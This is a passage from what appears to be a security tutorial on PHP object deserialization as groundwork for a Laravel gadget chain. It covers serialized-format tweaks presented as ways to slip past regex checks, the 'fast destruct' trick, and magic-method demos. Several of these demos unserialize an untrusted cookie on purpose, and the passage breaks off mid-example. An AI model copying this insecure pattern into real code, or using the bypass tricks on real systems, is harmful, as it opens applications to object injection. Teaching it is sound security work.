<p>We're now going to explore the possibility of altering the string representing
serialized data without altering the data. As you can imagine, the purpose of the
following examples is to play with the serialization format to see when the
deserialization mechanism works or doesn't. Understanding the format of a
serialized string and the modifications that can be made to it without affecting
the deserialization process allows us to imagine bypasses for checks that can be
implemented using regular expressions.</p>
<p><ins>Int:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'i:1337;'</span><span class="p">));</span>
<span class="nf">int</span><span class="p">(</span><span class="mi">1337</span><span class="p">)</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'i:+1337;'</span><span class="p">));</span>
<span class="nf">int</span><span class="p">(</span><span class="mi">1337</span><span class="p">)</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'i:-1337;'</span><span class="p">));</span>
<span class="nf">int</span><span class="p">(</span><span class="o">-</span><span class="mi">1337</span><span class="p">)</span>
</code></pre></div>
<p><ins>Float:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'d:13.37;'</span><span class="p">));</span>
<span class="nf">float</span><span class="p">(</span><span class="mf">13.37</span><span class="p">)</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'d:+13.37;'</span><span class="p">));</span>
<span class="nf">float</span><span class="p">(</span><span class="mf">13.37</span><span class="p">)</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'d:-13.37;'</span><span class="p">));</span>
<span class="nf">float</span><span class="p">(</span><span class="o">-</span><span class="mf">13.37</span><span class="p">)</span>
</code></pre></div>
<p><ins>String:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="n">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">var_dump</span><span class="p">(</span><span class="n">unserialize</span><span class="p">(</span><span class="s1">'s:6:"AAAA"B";'</span><span class="p">));</span><span class="w"></span>
<span class="n">string</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="w"> </span><span class="s2">"AAAA"</span><span class="sa">B</span><span class="s2">"</span>
</code></pre></div>
<p><ins>Array:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'a:1:{i:+0;s:4:"AAAA";}'</span><span class="p">));</span> <span class="s s-Atom">#</span> <span class="nv">Adding</span> <span class="s s-Atom">a</span> <span class="s s-Atom">sign</span> <span class="s s-Atom">to</span> <span class="s s-Atom">an</span> <span class="nf">integer</span> <span class="p">(</span><span class="s s-Atom">example</span> <span class="mi">1</span><span class="p">).</span>
<span class="nf">array</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=></span>
<span class="nf">string</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="s2">"AAAA"</span>
<span class="p">}</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'a:1:{i:-0;s:4:"AAAA";}'</span><span class="p">));</span> <span class="s s-Atom">#</span> <span class="nv">Adding</span> <span class="s s-Atom">a</span> <span class="s s-Atom">sign</span> <span class="s s-Atom">to</span> <span class="s s-Atom">an</span> <span class="nf">integer</span> <span class="p">(</span><span class="s s-Atom">example</span> <span class="mi">1</span> <span class="s s-Atom">bis</span><span class="p">).</span>
<span class="nf">array</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=></span>
<span class="nf">string</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="s2">"AAAA"</span>
<span class="p">}</span>
</code></pre></div>
<p><ins>Object:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'O:8:"stdClass":0:{}'</span><span class="p">));</span>
<span class="nf">object</span><span class="p">(</span><span class="s s-Atom">stdClass</span><span class="p">)</span><span class="s s-Atom">#</span><span class="mi">1</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'O:8:"stdClass":-0:{}'</span><span class="p">));</span> <span class="s s-Atom">#</span> <span class="nv">Adding</span> <span class="s s-Atom">a</span> <span class="s s-Atom">sign</span> <span class="s s-Atom">to</span> <span class="s s-Atom">an</span> <span class="nf">integer</span> <span class="p">(</span><span class="s s-Atom">example</span> <span class="mi">1</span><span class="p">).</span>
<span class="nf">object</span><span class="p">(</span><span class="s s-Atom">stdClass</span><span class="p">)</span><span class="s s-Atom">#</span><span class="mi">1</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'O:8:"stdClass":0:{}THISISJUNK'</span><span class="p">));</span> <span class="s s-Atom">#</span> <span class="nv">Padding</span> <span class="s s-Atom">added</span> <span class="s s-Atom">at</span> <span class="s s-Atom">end</span> <span class="s s-Atom">of</span> <span class="s s-Atom">string</span><span class="p">.</span>
<span class="nf">object</span><span class="p">(</span><span class="s s-Atom">stdClass</span><span class="p">)</span><span class="s s-Atom">#</span><span class="mi">1</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">}</span>
<span class="s s-Atom">php</span> <span class="o">></span> <span class="nf">var_dump</span><span class="p">(</span><span class="nf">unserialize</span><span class="p">(</span><span class="s s-Atom">'O:+8:"stdClass":0:{}'</span><span class="p">));</span> <span class="s s-Atom">#</span> <span class="nv">Adding</span> <span class="s s-Atom">a</span> <span class="s s-Atom">sign</span> <span class="s s-Atom">to</span> <span class="s s-Atom">an</span> <span class="nf">integer</span> <span class="p">(</span><span class="s s-Atom">example</span> <span class="mi">2</span><span class="p">).</span>
<span class="nv">PHP</span> <span class="nv">Notice</span><span class="o">:</span> <span class="nf">unserialize</span><span class="p">()</span><span class="o">:</span> <span class="nv">Error</span> <span class="s s-Atom">at</span> <span class="s s-Atom">offset</span> <span class="mi">0</span> <span class="s s-Atom">of</span> <span class="mi">20</span> <span class="s s-Atom">bytes</span> <span class="s s-Atom">in</span> <span class="s s-Atom">php</span> <span class="s s-Atom">shell</span> <span class="s s-Atom">code</span> <span class="s s-Atom">on</span> <span class="s s-Atom">line</span> <span class="mi">1</span>
<span class="nf">bool</span><span class="p">(</span><span class="s s-Atom">false</span><span class="p">)</span>
</code></pre></div>
<p>Test on PHP 5.6.40:</p>
<div class="highlight"><pre><span></span><code><span class="n">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">var_dump</span><span class="p">(</span><span class="n">unserialize</span><span class="p">(</span><span class="s1">'O:+8:"stdClass":0:{}'</span><span class="p">));</span><span class="w"> </span><span class="c1"># Adding a sign to an integer (example 2).</span><span class="w"></span>
<span class="n">php</span><span class="w"> </span><span class="n">shell</span><span class="w"> </span><span class="n">code</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span><span class="w"></span>
<span class="k">class</span><span class="w"> </span><span class="n">stdClass</span><span class="c1">#1 (0) {</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p><ins>Reference:</ins></p>
<p>Test on PHP 8.2.7:</p>
<div class="highlight"><pre><span></span><code><span class="n">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">var_dump</span><span class="p">(</span><span class="n">unserialize</span><span class="p">(</span><span class="s1">'a:2:{i:+0;s:3:"val";i:+1;R:2;}'</span><span class="p">));</span><span class="w"></span>
<span class="n">array</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=></span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">string</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="s2">"val"</span><span class="w"></span>
<span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=></span><span class="w"></span>
<span class="w"> </span><span class="o">&</span><span class="n">string</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="s2">"val"</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<blockquote>
<p>It should be noted that the parsing of serialized data by the function
<code>unserialize()</code> has been fuzzed in the past, leading to the discovery of
vulnerabilities such as use-after-free memory corruption and their corresponding
CVEs.</p>
</blockquote>
<p>As the first bricks have been laid, we invite you to play with those formats and
test different versions of the PHP interpreter.</p>
<h3>Life cycle of a PHP object</h3>
<p>Let's take <span style="color:red">example_0.php</span> and modify it a bit.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_2.php"><span style="color:red">example_2.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __destruct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">);</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>What happens when the object is instantiated, and what happens when the PHP
script ends?</p>
<p>As shown in the Web server's response below, function <code>User::__construct()</code> is
called when the object is instantiated, and function <code>User::__destruct()</code> is
called when the object is destroyed at the end of the script.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_2.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">123</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __construct()
string(42) "O:4:"User":1:{s:8:"username";s:5:"guest";}"
Hello from function __destruct()
</code></pre></div>
<p>But what happens if the object is destroyed before the end of the script execution?</p>
<p>We'll call the function <code>unset()</code> before the end of the script and observe what
occurs.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c2.png"></p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_3.php"><span style="color:red">example_3.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __destruct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">);</span>
<span class="nb">unset</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"End of the script.</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>As you can see below, the function <code>User::__destruct()</code> is called before the end
of the script.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_3.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">86</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __construct()
Hello from function __destruct()
End of the script.
</code></pre></div>
<p>We can therefore come to the following conclusion. An object will be destroyed
(unloaded from memory) at the end of a script or if all previous references to it
have been removed before the end. We won't have to destroy it manually, as PHP
always clears all memory thanks to its garbage collection mechanism. Furthermore,
imagine that if we manage to instantiate an object during deserialization and
immediately delete all references to this object, then we'll be able to call its
<code>__destruct()</code> method without waiting for the script to finish. We'll call this
technique, the <a href="https://github.com/ambionics/phpggc?tab=readme-ov-file#fast-destruct">fast destruct</a>.</p>
<p>This could have been figured out by looking at the documentation but examples
make it easier to understand.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c3.png"></p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c4.png"></p>
<p>As stated in the screenshots above, throwing an exception from a destructor
(called at the end of the script) causes a fatal error. This makes objects with
such a <code>__destruct()</code> method good candidates to identify, while fuzzing in
white box, calls to the <code>unserialize()</code> function with user-controlled data as
first parameter.</p>
<p>We've just introduced functions <code>__construct()</code> and <code>__destruct()</code>, but there
are other functions belonging to the same family, so, let's take a look at them.</p>
<h3>Magic Methods</h3>
<p>As indicated in the documentation, there are 17 magic methods:</p>
<ul>
<li><code>__construct()</code></li>
<li><code>__destruct()</code></li>
<li><code>__call()</code></li>
<li><code>__callStatic()</code></li>
<li><code>__get()</code></li>
<li><code>__set()</code></li>
<li><code>__isset()</code></li>
<li><code>__unset()</code></li>
<li><code>__sleep()</code></li>
<li><code>__wakeup()</code></li>
<li><code>__serialize()</code></li>
<li><code>__unserialize()</code></li>
<li><code>__toString()</code></li>
<li><code>__invoke()</code></li>
<li><code>__set_state()</code></li>
<li><code>__clone()</code></li>
<li><code>__debugInfo()</code></li>
</ul>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c5.png"></p>
<p>To be efficient in the search of gadgets it is necessary to know each one of these
methods. So, for almost each method, we'll give an example to illustrate how the
method works or at least provide its description from the official documentation.</p>
<h4><code>__construct()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>Constructors are ordinary methods which are called during the instantiation of
their corresponding object. As such, they may define an arbitrary number of
arguments, which may be required, may have a type, and may have a default value.
Constructor arguments are called by placing the arguments in parentheses after
the class name. - <a href="https://www.php.net/manual/en/language.oop5.decon.php#object.construct">Constructors and Destructors: __construct()</a></p>
</blockquote>
<p><b>This method is not called during deserialization, as explained earlier</b>.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_4.php"><span style="color:red">example_4.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_4.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">34</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __construct()
</code></pre></div>
<h4><code>__destruct()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p>PHP possesses a destructor concept similar to that of other object-oriented
languages, such as C++. The destructor method will be called as soon as there
are no other references to a particular object, or in any order during the
shutdown sequence. - <a href="https://www.php.net/manual/en/language.oop5.decon.php#object.destruct">Constructors and Destructors: __destruct()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_5.php"><span style="color:red">example_5.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __destruct(), my name was: </span><span class="si">$this->username</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_5.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">53</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __destruct(), my name was: guest
</code></pre></div>
<h4><code>__call()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__call()</code> is triggered when invoking inaccessible methods in an object context.</p>
<p>The <code>$name</code> argument is the name of the method being called. The <code>$arguments</code>
argument is an enumerated array containing the parameters passed to the
<code>$name</code>'ed method. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.call">Method overloading: __call()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_6.php"><span style="color:red">example_6.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__call</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$arguments</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Calling object method '</span><span class="si">$name</span><span class="s2">' "</span>
<span class="o">.</span> <span class="nb">implode</span><span class="p">(</span><span class="s1">', '</span><span class="p">,</span> <span class="nv">$arguments</span><span class="p">)</span><span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="nv">$new_user_object</span><span class="o">-></span><span class="na">log</span><span class="p">(</span><span class="s2">"with an annoying log message as only parameter."</span><span class="p">)</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_6.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">76</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Calling object method 'log' with an annoying log message as only parameter.
</code></pre></div>
<h4><code>__callStatic()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__callStatic()</code> is triggered when invoking inaccessible methods in a static
context. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic">Method overloading: __callStatic()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_7.php"><span style="color:red">example_7.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="fm">__callStatic</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$arguments</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Calling static method '</span><span class="si">$name</span><span class="s2">' "</span>
<span class="o">.</span> <span class="nb">implode</span><span class="p">(</span><span class="s1">', '</span><span class="p">,</span> <span class="nv">$arguments</span><span class="p">)</span><span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="nv">$new_user_object</span><span class="o">::</span><span class="na">log</span><span class="p">(</span><span class="s2">"with another annoying log message as only parameter."</span><span class="p">)</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_7.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">81</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Calling static method 'log' with another annoying log message as only parameter.
</code></pre></div>
<h4><code>__get()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__get()</code> is utilized for reading data from inaccessible (<code>protected</code> or <code>private</code>)
or non-existing properties. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.get">Property overloading: __get()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_8.php"><span style="color:red">example_8.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$information</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s2">"secret"</span><span class="o">=></span><span class="s2">"I'm called when the property doesn't exist."</span>
<span class="p">);</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__get</span><span class="p">(</span><span class="nv">$name</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Getting '</span><span class="si">$name</span><span class="s2">':</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">information</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">information</span><span class="p">[</span><span class="nv">$name</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]);</span>
<span class="k">echo</span> <span class="nv">$new_user_object</span><span class="o">-></span><span class="na">secret</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_8.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">61</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Getting 'secret':
I'm called when the property doesn't exist.
</code></pre></div>
<h4><code>__set()</code></h4>
<p><ins>Description:</ins></p>
<blockquote>
<p><code>__set()</code> is run when writing data to inaccessible (<code>protected</code> or <code>private</code>) or
non-existing properties. - <a href="https://www.php.net/manual/en/language.oop5.overloading.php#object.set">Property overloading: __set()</a></p>
</blockquote>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_9.php"><span style="color:red">example_9.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$information</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__set</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$value</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Setting '</span><span class="si">$name</span><span class="s2">' to '</span><span class="si">$value</span><span class="s2">':</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
